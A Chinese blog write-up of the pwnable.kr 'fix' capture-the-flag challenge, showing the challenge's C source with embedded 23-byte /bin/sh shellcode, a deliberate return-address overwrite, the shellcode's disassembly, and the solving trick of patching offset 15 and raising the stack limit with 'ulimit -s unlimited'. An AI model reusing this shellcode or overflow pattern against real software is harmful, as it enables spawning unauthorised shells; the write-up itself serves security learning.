美文网首页
pwnable.kr之fix

pwnable.kr之fix

作者: hyrathon | 来源:发表于2018-03-06 18:37 被阅读0次
#include <stdio.h>

// 23byte shellcode from http://shell-storm.org/shellcode/files/shellcode-827.php
char sc[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
                "\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";

void shellcode(){
        // a buffer we are about to exploit!
        char buf[20];

        // prepare shellcode on executable stack!
        strcpy(buf, sc);

        // overwrite return address!
        *(int*)(buf+32) = buf;

        printf("get shell\n");
}

int main(){
        printf("What the hell is wrong with my shellcode??????\n");
        printf("I just copied and pasted it from shell-storm.org :(\n");
        printf("Can you fix it for me?\n");

        unsigned int index=0;
        printf("Tell me the byte index to be fixed : ");
        scanf("%d", &index);
        fflush(stdin);

        if(index > 22)  return 0;

        int fix=0;
        printf("Tell me the value to be patched : ");
        scanf("%d", &fix);

        // patching my shellcode
        sc[index] = fix;        

        // this should work..
        shellcode();
        return 0;
}

看代码, 使用了一段有效的shellcode但是执行失败, gdb跟进去发现是因为esp接近shellcode存放区域, 调用push指令破坏了shellcode.

  1. xor %eax,%eax
  2. push %eax
  3. push $0x68732f2f
  4. push $0x6e69622f
  5. mov %esp,%ebx
  6. push %eax
  7. push %ebx
  8. mov %esp,%ecx
  9. mov $0xb,%al
  10. int $0x80

由于只能改一位, 需要修改的是6. push eax(即偏移15), 网上查到说leave指令可以, 但是测试发现无效, pop esp显然有效, 可以极大修改esp的值, 测试无效. 最后查writeup发现需要修改栈的范围

ulimit -s unlimited

这一点确实没想到, 也使得这种解法在此处有所瑕疵

相关文章

  • pwnable.kr之fix

    看代码, 使用了一段有效的shellcode但是执行失败, gdb跟进去发现是因为esp接近shellcode存放...

  • Pwnable.kr-3.bof

    下载链接:http://pwnable.kr/bin/bofhttp://pwnable.kr/bin/bof.c...

  • Pwnable.kr系列

    pwnable.kr

  • pwnable.kr之brainfuck

    pwnable.kr之brainfuck.md Overview 题目给了一个简陋版的brainfuck解释器, ...

  • WpsecCTF Pwn部分

    1 简单的溢出 题目来源:http://pwnable.kr 之 bof 直接放入IDA,发现func函数存在问题...

  • pwnable.kr collision

    今天咱们来继续玩 pwnable.kr pwnable.kr collision 同样的,我们远程连接上服务器,然...

  • 黑客练手入门| pwnable.kr—幼儿瓶—01:fd

    [TOC] 前言 担心有人不知道pwnable.kr是什么,所以觉得有必要简单介绍一下它。 pwnable.kr介...

  • pwnable.kr之uaf

    考点: 1.UAF(use after free) 分配的内存释放后,指针没有因为内存释放而变为NULL,而是继续...

  • pwnable.kr之memcpy

    感觉这道题考的是堆分配时字节对齐问题.首先上代码 程序中自己实现了一个快速的memcpy函数, 题目要求是只要能够...

  • pwnable.kr之asm

    这道题考查写shellcode, 用keystone折腾了半天上网一查发现我们对pwntools的运用真的不够熟练...

网友评论

      本文标题:pwnable.kr之fix

      本文链接:https://www.haomeiwen.com/subject/vhprfftx.html